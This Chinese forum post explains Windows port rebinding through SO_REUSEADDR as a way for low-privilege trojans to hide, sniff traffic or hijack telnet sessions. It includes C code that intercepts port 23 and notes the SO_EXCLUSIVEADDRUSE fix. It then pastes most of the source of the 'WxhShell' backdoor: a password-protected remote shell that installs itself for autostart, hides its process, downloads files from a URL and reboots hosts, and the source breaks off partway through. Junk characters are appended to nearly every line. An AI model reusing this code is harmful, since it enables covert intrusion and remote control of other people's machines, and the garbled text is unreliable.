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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: BtQqUk#L2  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); < [17&F0  
)>pIAYCVP  
  saddr.sin_family = AF_INET; +('=Ryo T  
3)l<'~"z<  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); [h.i,%Ua"P  
R?:(~ X\  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); Gd|jE  
=[)2DJC  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 "Fxw"I <  
'=UsN_@  
  这意味着什么?意味着可以进行如下的攻击: uzT>|uu$  
C-(O*hK  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 .0dx@Sbv  
LO k J  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) W)`H(J  
O5JG!bGE_F  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 Hc\oR(L  
KPa@~rU  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  %,udZyO3uR  
)+a]M1j  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 NDG?X s [2  
"@itn  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 n%{oFTLCo  
Lnl-han%  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 D ~NWP%H  
+4k4z:<n  
  #include %;O# y3,  
  #include T>v`UN Bl]  
  #include rTeADu_vf  
  #include    mXUe/*r0T  
  DWORD WINAPI ClientThread(LPVOID lpParam);   oN(F$Nvk  
  int main() 9YwS"~Q =w  
  { z| zd=3c  
  WORD wVersionRequested; 2VkA!o4nP  
  DWORD ret; =fI0q7]ndz  
  WSADATA wsaData; B_0]$D0 ^  
  BOOL val; ?WrL<?r)}U  
  SOCKADDR_IN saddr; ?M04 cvm  
  SOCKADDR_IN scaddr; ^NO;A=9b[  
  int err; dg;E,'e_ p  
  SOCKET s; d)v!U+-|'  
  SOCKET sc; P1"g62R  
  int caddsize; w M#q [m;  
  HANDLE mt; 6`)Ss5jzk  
  DWORD tid;   }Q{4G  
  wVersionRequested = MAKEWORD( 2, 2 ); KI5099_/  
  err = WSAStartup( wVersionRequested, &wsaData ); `R o>?H  
  if ( err != 0 ) { {ALOs^_-  
  printf("error!WSAStartup failed!\n"); ~#iAW@  
  return -1; [&{NgUgu"  
  } ~VJP:Y{[  
  saddr.sin_family = AF_INET; x_x|D|@wM  
   ` aaT #r  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 Ijs=4f  
7`K)7  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); yx/qp<=  
  saddr.sin_port = htons(23); E=~Ahkg  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) V;]U]   
  { q^b_'We_9  
  printf("error!socket failed!\n"); BC1P3Sk 6X  
  return -1; Redxg.P  
  } +,bgOq\aG  
  val = TRUE; XO J@-^BX  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 OY(znVHU  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) iTeFy -Ct  
  { SP5t=#M6  
  printf("error!setsockopt failed!\n"); u9dL-Nr`  
  return -1; ~8G cWy6  
  } LY(h>`  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 7=]Y7 "XCf  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 7.xJ:r|  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 $a+)v#?,  
Jf8AKj3  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) .s<tQU  
  { 4$b9<:M_  
  ret=GetLastError(); hdee]qLS  
  printf("error!bind failed!\n"); }@w Xm  
  return -1; |)u|@\{  
  } Dv+:d4|"  
  listen(s,2); XY`2>7  
  while(1) *g/@-6  
  { JZrUl^8E  
  caddsize = sizeof(scaddr); @5(HRd  
  //接受连接请求 rzgzX  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); `o!a RX  
  if(sc!=INVALID_SOCKET) RlTVx :  
  { EAjo>GLI  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); nzORG  
  if(mt==NULL) ;^:$O6J7T~  
  { vR"<:r47?  
  printf("Thread Creat Failed!\n"); #n}n %  
  break; esQRg~aCGy  
  } ^7~w yAr  
  } UQ 'U 4q  
  CloseHandle(mt); @Ao E>  
  } \ g[A{  
  closesocket(s); ~j2=hkS  
  WSACleanup(); yw)Ztg)  
  return 0; abM4G  
  }   LlG~aGhel  
  DWORD WINAPI ClientThread(LPVOID lpParam) \M`fkR,,'  
  { tC -H2@  
  SOCKET ss = (SOCKET)lpParam; I3V>VLv  
  SOCKET sc; CVFsp>+  
  unsigned char buf[4096]; TID0x/j"K5  
  SOCKADDR_IN saddr; VG`A* Vj  
  long num; l?%U*~*  
  DWORD val; SbW6O_   
  DWORD ret; +C !A@  
  //如果是隐藏端口应用的话,可以在此处加一些判断 sIJ37;ZA  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   @*c ) s_  
  saddr.sin_family = AF_INET; lC i_G3C  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ]& q mV  
  saddr.sin_port = htons(23); =`]yq;(C7j  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) (8(z42  
  { [2,u:0"  
  printf("error!socket failed!\n"); RFu]vFff  
  return -1; qlg~W/  
  } o*u A+7n  
  val = 100; f 6P5J|'  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 1dK^[;v>3  
  { VmB/X))   
  ret = GetLastError(); HiG&`:P>q  
  return -1; 'm=9&?0S  
  } ;G3{ e  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) jjm-%W@  
  { *{)![pDYd  
  ret = GetLastError(); >:`Y]6z  
  return -1; Om0S^4y]x  
  } [J+K4o8L<A  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) R@0ELxzA  
  { `#X{.  
  printf("error!socket connect failed!\n"); -K/' }I  
  closesocket(sc); c"J(? 1O  
  closesocket(ss); vwzTrWA=  
  return -1; YAZ=-@]`\  
  } I=^%l7  
  while(1) p$@=N6)I.k  
  { ]IJ.}  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 9bXU!l[  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 6|LDb"Rvy  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 -zz9k=q  
  num = recv(ss,buf,4096,0); 3<msiC P  
  if(num>0) );;UNO21+  
  send(sc,buf,num,0); h{ce+~X  
  else if(num==0) g m],  
  break; 4!6g[[| &J  
  num = recv(sc,buf,4096,0); Zk}e?Grc  
  if(num>0) BoIe<{X(9  
  send(ss,buf,num,0); $X~=M_ W  
  else if(num==0) {M E|7TS=  
  break; ^O\tN\g;c  
  } 3g|O2>*?  
  closesocket(ss); O,JthlAV4  
  closesocket(sc); 1xq1te)  
  return 0 ; /IV:JVT  
  } ~rY<y%K  
a$t [}D2  
^"+cJ)  
========================================================== e@^}y4 C  
o`j%$K4?5  
下边附上一个代码,,WXhSHELL eB$v'9S8/  
T*h+"TmE  
========================================================== #0Oqw=F  
p7H*Ff`  
#include "stdafx.h" n7<<}wcV  
6o A0a\G'  
#include <stdio.h> ocgbBE  
#include <string.h> a/)TJv  
#include <windows.h> JG}U,{7(  
#include <winsock2.h> <6L$ :vT_  
#include <winsvc.h> "l +Jx|h\  
#include <urlmon.h> FT (EH  
R#\8jvv  
#pragma comment (lib, "Ws2_32.lib") nVyb B~.=  
#pragma comment (lib, "urlmon.lib") H V   
i,yK&*>JJ  
#define MAX_USER   100 // 最大客户端连接数 ir,Zc\C  
#define BUF_SOCK   200 // sock buffer s.GhquFCrU  
#define KEY_BUFF   255 // 输入 buffer 6gR=e+  
ki+9 Ln;  
#define REBOOT     0   // 重启 @MB;Ez v  
#define SHUTDOWN   1   // 关机 3UN Jj&-`  
^jmnE.8R  
#define DEF_PORT   5000 // 监听端口 %W&=]&L  
*iC t4J  
#define REG_LEN     16   // 注册表键长度 :&or'Yi}  
#define SVC_LEN     80   // NT服务名长度 Y6D =tb  
i*U\~CZjT  
// 从dll定义API ZA9']u%EJ  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); WVN Q}KY  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); M2zfN ru  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); BEI/OGp  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); mML^kgy\N  
~l}TlRqL  
// wxhshell配置信息 'g=yJ  
struct WSCFG { ka>RAr J  
  int ws_port;         // 监听端口 ;!~;05^iD  
  char ws_passstr[REG_LEN]; // 口令 ~hxB Pn."  
  int ws_autoins;       // 安装标记, 1=yes 0=no /e7'5#v  
  char ws_regname[REG_LEN]; // 注册表键名 k=~?!+p7  
  char ws_svcname[REG_LEN]; // 服务名 +pcj8K%  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 N0qC/da1  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 (bo bKr  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 #63/;o:l$  
int ws_downexe;       // 下载执行标记, 1=yes 0=no pz$$K?  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" .e"jnP~  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 3,F/i+@  
zEhy0LLm  
}; -y\N9  
~<Lf@yu-{  
// default Wxhshell configuration O?2<rbx  
struct WSCFG wscfg={DEF_PORT, 5~44R@`  
    "xuhuanlingzhe", MV/~Rmd.  
    1, zhCI+u4/qz  
    "Wxhshell", v:HgpZo+  
    "Wxhshell", W8P**ze4)  
            "WxhShell Service", e N-{  
    "Wrsky Windows CmdShell Service", bNaUzM!,H  
    "Please Input Your Password: ", ~NcJLU!au  
  1, 7O9s 5  
  "http://www.wrsky.com/wxhshell.exe", xBZ9|2Y s  
  "Wxhshell.exe" $3[cBX.=  
    }; o6y,M!p@  
"aBd0i&  
// 消息定义模块 \=@r1[d  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; c==Oio("  
char *msg_ws_prompt="\n\r? for help\n\r#>"; wU ; f   
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; QlS5B.h,  
char *msg_ws_ext="\n\rExit."; =k*0O_  
char *msg_ws_end="\n\rQuit."; k41la?  
char *msg_ws_boot="\n\rReboot..."; %'t~e?d!  
char *msg_ws_poff="\n\rShutdown..."; 4y1> !~f  
char *msg_ws_down="\n\rSave to "; t@u\ 4bv  
kdUGmR0d  
char *msg_ws_err="\n\rErr!"; pNqf2CnnT  
char *msg_ws_ok="\n\rOK!"; Ds G *  
!U#++Zig%  
char ExeFile[MAX_PATH]; NDOZ!`LqH  
int nUser = 0; &CL|q+-  
HANDLE handles[MAX_USER]; v2n0[b0  
int OsIsNt; TN %"RL  
S[a5k;8GL  
SERVICE_STATUS       serviceStatus; h3kHI?jMWG  
SERVICE_STATUS_HANDLE   hServiceStatusHandle;  [;=WnG  
w}Upa(dU  
// 函数声明  i) 2))C  
int Install(void); Vf?#W,5>=  
int Uninstall(void); )RYnRC#O  
int DownloadFile(char *sURL, SOCKET wsh); ;ULC|7rL  
int Boot(int flag); [)3 U])w/  
void HideProc(void); X}*o[;2G  
int GetOsVer(void); @ g75T`N  
int Wxhshell(SOCKET wsl); y@M}T{,/  
void TalkWithClient(void *cs); Q@2tT&eL  
int CmdShell(SOCKET sock); ~}5Ml_J$,l  
int StartFromService(void); lkfFAwnc  
int StartWxhshell(LPSTR lpCmdLine); ^-IsK#r.k  
PEBFN  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); mbBRuPEa=u  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); }o^A^  
5b#6 Y  
// 数据结构和表定义 j#e.rNG  
SERVICE_TABLE_ENTRY DispatchTable[] = KupMndK  
{ 'Y[A'.*}4  
{wscfg.ws_svcname, NTServiceMain}, , Ln   
{NULL, NULL} C|f7L>qe  
}; Q==v!"Gi|  
q.MVF]  
// 自我安装 A'( 7VJ  
int Install(void) $G_Q`w=jM  
{ VxN64;|=  
  char svExeFile[MAX_PATH]; -(w~LT$ "  
  HKEY key; 9"aFS=><  
  strcpy(svExeFile,ExeFile); q{GSsDo-:V  
>C3NtGvy  
// 如果是win9x系统,修改注册表设为自启动 DvX3/z#T  
if(!OsIsNt) { }6J7 <g  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { .NkAD-k`  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); fhV0S>*<  
  RegCloseKey(key); YvruK: I  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ch>Vv"G>  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); lmQ6X  
  RegCloseKey(key); h1XMx'}B  
  return 0; 9U)t@b  
    } ,k~j6Z  
  } Hl3)R*&'J  
} rAx"~l.=  
else { =x^l[>sz  
N\q)LM !M  
// 如果是NT以上系统,安装为系统服务 i~)N QmH<  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); VI24+h'J  
if (schSCManager!=0) :Sc8PLT  
{ NQC3!=pQ}Y  
  SC_HANDLE schService = CreateService \C K(;J  
  ( l>~`;W  
  schSCManager, 8PBU~mr  
  wscfg.ws_svcname, >`89N'lZBm  
  wscfg.ws_svcdisp, C ]'g:93L  
  SERVICE_ALL_ACCESS, #%^\\|'z  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , S= -M3fP~  
  SERVICE_AUTO_START, -@2'I++"@  
  SERVICE_ERROR_NORMAL, j u*fyt  
  svExeFile, 1TNz&=e  
  NULL, @Y UY9+D&  
  NULL, /2e%s:")h  
  NULL, {pDTy7!Hs  
  NULL, b,sGq  
  NULL 7]|zkjgI  
  ); W|dpFh`  
  if (schService!=0) CE#\Roi x)  
  { lwOf)jK:J  
  CloseServiceHandle(schService); x _==Ss  
  CloseServiceHandle(schSCManager); 3;a R\:p@w  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); A Jyq>0p  
  strcat(svExeFile,wscfg.ws_svcname); ^/>Wr'w   
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { %bP~wl~  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); YwL`>?  
  RegCloseKey(key); zF5q=9 4$  
  return 0; )N(9pnyZH  
    } yo'9x s  
  } y"^yYO  
  CloseServiceHandle(schSCManager); G#H9g PY  
} }:`5,b%Y_  
} X JY5@I.  
A&?}w_|9  
return 1; [pii  
} <EMkD1e  
nr OqH  
// 自我卸载 ]gu1#  
int Uninstall(void) QDS0ejhp  
{ sV u k  
  HKEY key; [O2h- `  
|q;Al z{  
if(!OsIsNt) { {odA[H  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { G0}Dq M Ti  
  RegDeleteValue(key,wscfg.ws_regname); Dg~ [#C-  
  RegCloseKey(key); y%4 Gp  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 2H[ ; v+  
  RegDeleteValue(key,wscfg.ws_regname); =3*Jj`AV  
  RegCloseKey(key); IX9K.f  
  return 0; flG=9~qcGQ  
  } 2FGx _ Y  
} R"*R99  
} tBseqS3<  
else { lop uf/U0  
`<^*jB@P  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ibJl;sJ  
if (schSCManager!=0) iJ)0Y~  
{ <Nex8fiJ9  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); @l~7 x  
  if (schService!=0) I!0JG`&  
  { >AG^fUArH  
  if(DeleteService(schService)!=0) { (/K5!qh  
  CloseServiceHandle(schService); ^agj4$  
  CloseServiceHandle(schSCManager); "cMNdR1^,y  
  return 0; qD-fw-,:  
  } vZ@g@zB4o0  
  CloseServiceHandle(schService); .+yW%~0  
  } mc ZGg;3  
  CloseServiceHandle(schSCManager); 7^MX l  
} \ZS TKi?  
} )~V }oKk0t  
! _{d)J  
return 1; B'}"AC"  
} ;/'|WLI9  
~*}$>@f{[X  
// 从指定url下载文件 &>(gt<C$  
int DownloadFile(char *sURL, SOCKET wsh) =i>\2J%'R  
{ :CaTP%GW  
  HRESULT hr; @2 =z}S3O  
char seps[]= "/"; ewnfeg1  
char *token; CISO<z0  
char *file; )KY:m |Z  
char myURL[MAX_PATH]; 0xCz'mJ  
char myFILE[MAX_PATH]; AW~"yI<  
c@R; /m:R  
strcpy(myURL,sURL); YEv Lhh  
  token=strtok(myURL,seps); _BS 9GB  
  while(token!=NULL) {.CMD9F[  
  { Jdj?I'XtY  
    file=token;  s;Y<BD  
  token=strtok(NULL,seps); 6|!NLwa  
  } %NajFjBI  
|g-b8+.=]  
GetCurrentDirectory(MAX_PATH,myFILE); T8XY fcc*h  
strcat(myFILE, "\\"); + E5=$`  
strcat(myFILE, file); 2f{T6=SK  
  send(wsh,myFILE,strlen(myFILE),0); zO~9zlik  
send(wsh,"...",3,0); @dgH50o[  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); qX#MV>1  
  if(hr==S_OK) 9(,@aZ  
return 0; gR Nv-^  
else rmd;\)#*`  
return 1; Dl C@fZD  
n~g LPHY  
} WE6\dhJ<  
TDNf)Mm  
// 系统电源模块 3[IJhR[  
int Boot(int flag) $_D6_|HK  
{ U BZ9A  
  HANDLE hToken; KE}H&1PjU  
  TOKEN_PRIVILEGES tkp; C#Bz >2;#  
7J*N_8?2  
  if(OsIsNt) { H(-4:BD?  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); '#\1uXM1U?  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); @ -:]P8  
    tkp.PrivilegeCount = 1; TgfrI  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; iwF9[wAft  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); @;Opx."  
if(flag==REBOOT) { h|;qG)f^  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) u0o'K9.r  
  return 0; zsXpA0~3s  
} K'5'}Lb5k  
else { r8/l P}(F  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) bzZ>lyH  
  return 0; V@vU"  
} 1X1 N tS @  
  } {b)~V3rsY  
  else { uJU*")\V  
if(flag==REBOOT) { ZC0-wr \  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) aelO3'UN  
  return 0; oG oK,  
} ,'fxIO  
else { G"SBYU  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Ms^dRe)  
  return 0; R^#@lI~  
} ^jE8+h  
} <|B1wa:|  
4Xj4|Rw%  
return 1; #qBr/+b  
} ]T:;Vo  
/=?x{(B>  
// win9x进程隐藏模块 ]< l6s  
void HideProc(void) nIk$7rGLB  
{ z+{,WHjo  
6IcNZ!j98  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); o{:xp r=(  
  if ( hKernel != NULL ) 7[#yu2  
  { u+m,b76  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Kv&g5&N,  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); )u%je~Vw  
    FreeLibrary(hKernel); 13k !'P  
  } bUwn}_7b  
friWW ^  
return; V9yl4q-bL  
} dUrElXbXd  
rqPo)AL  
// 获取操作系统版本 VosZJv=  
int GetOsVer(void) gV;H6"  
{ Vv.r8IGYm  
  OSVERSIONINFO winfo; !|hoYU>@2L  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 796\jf$  
  GetVersionEx(&winfo); }Db[ 4  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) p9!"O  
  return 1; x&sI=5l  
  else c,MOv7{x_  
  return 0; z G }?  
} Kb#4ILA  
8`>h}Q$  
// 客户端句柄模块 a]17qMl  
int Wxhshell(SOCKET wsl) \*hrW(   
{ $,=6[T!z+e  
  SOCKET wsh; Y_&g="`Q  
  struct sockaddr_in client; jd]s<C3o  
  DWORD myID; -&x2&WE'  
6k{2 +P  
  while(nUser<MAX_USER) Xazo 9J  
{ N[]Hc  
  int nSize=sizeof(client); =' ZRfb&  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); zLs|tJOVp  
  if(wsh==INVALID_SOCKET) return 1; "I?Am&>'  
)UgX3+@  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); `pf4X/Py  
if(handles[nUser]==0) iXu]e;6  
  closesocket(wsh); d<!3`qe  
else 6*4's5>?D  
  nUser++; 5Wyz=+?m|  
  } F^"_TV0va  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); <?-YTY|  
M#"524Nz  
  return 0; 2]GdD*  
} !-2R;yo12  
6R-&-4  
// 关闭 socket WARb"8Kg  
void CloseIt(SOCKET wsh) t*z~5_/  
{ _{t9 x\=  
closesocket(wsh); Y$N)^=7  
nUser--; {,*"3O:\:  
ExitThread(0); 4c oJRqf=  
} )vmA^nU>  
yKYUsp  
// 客户端请求句柄 *Do/+[Ae  
void TalkWithClient(void *cs) EXP%Mk/  
{ s2?T5oWU  
)1N 54FNO  
  SOCKET wsh=(SOCKET)cs; &PkLp4mQ  
  char pwd[SVC_LEN]; vS\%3A4^+5  
  char cmd[KEY_BUFF]; Um1[sMc{au  
char chr[1]; ;^*Unyt[4]  
int i,j; X37L\e[c  
JnHo9K2.  
  while (nUser < MAX_USER) { SH*C"  
\V9Z #>  
if(wscfg.ws_passstr) { :4~g;2oag  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 9lB]~,z  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); hN['7:bQ  
  //ZeroMemory(pwd,KEY_BUFF); <0yE 5Mrf  
      i=0; ~/mw x8~  
  while(i<SVC_LEN) { u6`=x$&  
DI!V^M[~u  
  // 设置超时 ? uYu`Ojzr  
  fd_set FdRead; j p $Z]  
  struct timeval TimeOut;  Z%I  
  FD_ZERO(&FdRead); K3\#E/Ox  
  FD_SET(wsh,&FdRead); z4 &iK)x  
  TimeOut.tv_sec=8; !61Pl/uQ  
  TimeOut.tv_usec=0; I^oE4o  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); |_omr&[_  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Wf{O[yL*  
^Rx9w!pAN  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); mv5n4mav  
  pwd=chr[0]; A AHt218  
  if(chr[0]==0xd || chr[0]==0xa) { n}s~+USZX  
  pwd=0; mhW-J6u*  
  break; YeF1C/'hy  
  } DGevE~  
  i++; a0Ik`8^`  
    } rDm'Z>nTf  
s7oT G!  
  // 如果是非法用户,关闭 socket tzy'G"P|  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); "5eNLqt^q  
} qF 9NQ;  
>vuY+o;B  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); $T :un.TM  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0);  JHf  
~rjTF!  
while(1) { rQ=,y>-*  
:VF<9@t  
  ZeroMemory(cmd,KEY_BUFF); w[6J `   
0%) i<a!_Z  
      // 自动支持客户端 telnet标准   VXR]"W=  
  j=0; ?|:BuHkT  
  while(j<KEY_BUFF) { G;f/Tch  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Isx#9C  
  cmd[j]=chr[0]; gocrjjAHk  
  if(chr[0]==0xa || chr[0]==0xd) { ORu2V# Z[  
  cmd[j]=0; 5=e@d:Sz  
  break; c{[q>@y pK  
  } p$ bnK]  
  j++; zD3mX<sw  
    } o[E_Ge}g8  
)"+(butI&  
  // 下载文件 lC=~$c:  
  if(strstr(cmd,"http://")) { :_Eqf8T  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); OLI$1d_  
  if(DownloadFile(cmd,wsh)) "QvmqI>  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); J<Pw+6B~  
  else #$3yz'"QF  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ~^+0  
  } nk3y"ne7  
  else { Dde]I_f}  
*'"^NSJ  
    switch(cmd[0]) { ;;A2!w{}[i  
  %7O?JI [  
  // 帮助 85;b9k&\M  
  case '?': { ""Q1|  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); TNJG#8n%Y  
    break; }-~T<egF  
  } uytE^  
  // 安装 R-^96fFBy  
  case 'i': { 3OM2Y_  
    if(Install()) I7^zU3]Ul  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); vf4{$Oag  
    else 5JhdV nT_  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); $H$j-)\D  
    break; hQNe;R5  
    } `-3o+ID\  
  // 卸载 ; O<9|?  
  case 'r': { c)0amM  
    if(Uninstall()) 5{$LsL  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,ZS6jZ  
    else W[+|}  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); $4MrP$4TI  
    break; -l}IZY  
    } E\;ikX&1  
  // 显示 wxhshell 所在路径 Lr`1TH,  
  case 'p': { P=1I<Pew  
    char svExeFile[MAX_PATH]; z6py"J@  
    strcpy(svExeFile,"\n\r"); p\{-t84n  
      strcat(svExeFile,ExeFile); ]; %0qb  
        send(wsh,svExeFile,strlen(svExeFile),0); BnRN;bu  
    break; %& _V0R\k  
    } .@Ut?G  
  // 重启 X,8<oX1r  
  case 'b': { jp' K%P  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); g/CxXSv@0  
    if(Boot(REBOOT)) M/Pme&%  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ! Q<>3 xZ  
    else { 5<L_|d)0"  
    closesocket(wsh); 8}w6z7e|{  
    ExitThread(0); #0 6-:  
    } mJB2)^33a  
    break; XYoIFv?'  
    } 4 g. bR  
  // 关机 6WoAs)ZF  
  case 'd': { L !4t[hhe=  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); (6v (9p  
